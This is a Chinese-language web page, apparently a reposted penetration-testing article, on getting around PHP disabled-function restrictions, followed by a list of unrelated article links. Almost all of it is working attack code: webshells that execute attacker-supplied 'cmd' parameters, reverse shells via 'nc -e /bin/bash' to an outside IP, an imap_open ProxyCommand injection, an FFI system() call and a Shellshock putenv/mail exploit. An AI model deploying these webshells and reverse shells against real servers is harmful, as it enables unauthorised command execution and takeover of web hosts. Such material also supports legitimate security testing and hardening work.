当前位置: 首页 > news >正文

WEB渗透Bypass篇-常规函数绕过

常规函数绕过
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
php 7.4
ffi.enable=true
<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef("int system(char *command);","libc.so.6");
$ffi->system($a);
?>

shellshock

存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
http://www.lryc.cn/news/419751.html

相关文章:

  • C++从入门到起飞之——string类的模拟实现 全方位剖析!
  • 数据库国产化大趋势下,还需要学习Oracle吗?
  • WebLogic
  • Aspose.Words.dll 插入模板表格,使用的是邮件合并MailMerge功能,数据源是DataTable或list对象,实例
  • 同时打开多个微信
  • MPU6050的STM32数据读取
  • 【微信小程序开发】——奶茶点餐小程序的制作(二)
  • Java 文件上传七牛云
  • 大语言模型生成无人系统(如机械臂、无人机等)可以执行的指令序列
  • 尚硅谷谷粒商城项目笔记——十、调试前端项目renren-fast-vue【电脑CPU:AMD】
  • Python 的元组和列表的区别是什么?
  • 【Impala】学习笔记
  • 视频汇聚平台EasyCVR接入移动执法记录仪,视频无法播放且报错500是什么原因?
  • 【Linux基础】Linux基本指令(二)
  • 全面介绍 Apache Doris 数据灾备恢复机制及使用示例
  • Python pandas常见函数
  • 行业落地分享:阿里云搜索RAG应用实践
  • 【SQL】温度比较
  • Istio 项目会往用户的 Pod 里注入 Envoy 容器,用来代理 Pod 的进出流量,这是什么设计模式?
  • (24)(24.1) FPV和仿真的机载OSD(三)
  • 测试开发岗面试总结
  • 编程-设计模式 7:桥接模式
  • C语言----结构体
  • 基于HKELM混合核极限学习机多输出回归预测 (多输入多输出) Matlab代码
  • 经纬恒润荣获小米汽车优秀质量奖!
  • Linux 软件编程学习第十一天
  • hive udtf 函数:输入一个字符串,将这个字符串按照特殊的逻辑处理之后,输出4个字段
  • 【实现100个unity特效之16】unity2022之前或者之后版本实现全屏shader graph的不同方式 —— 适用于人物受伤红屏或者一些其他状态效果
  • 比特币使用ord蚀刻符文---简单笔记
  • 大数据-74 Kafka 高级特性 稳定性 - 控制器、可靠性 副本复制、失效副本、副本滞后 多图一篇详解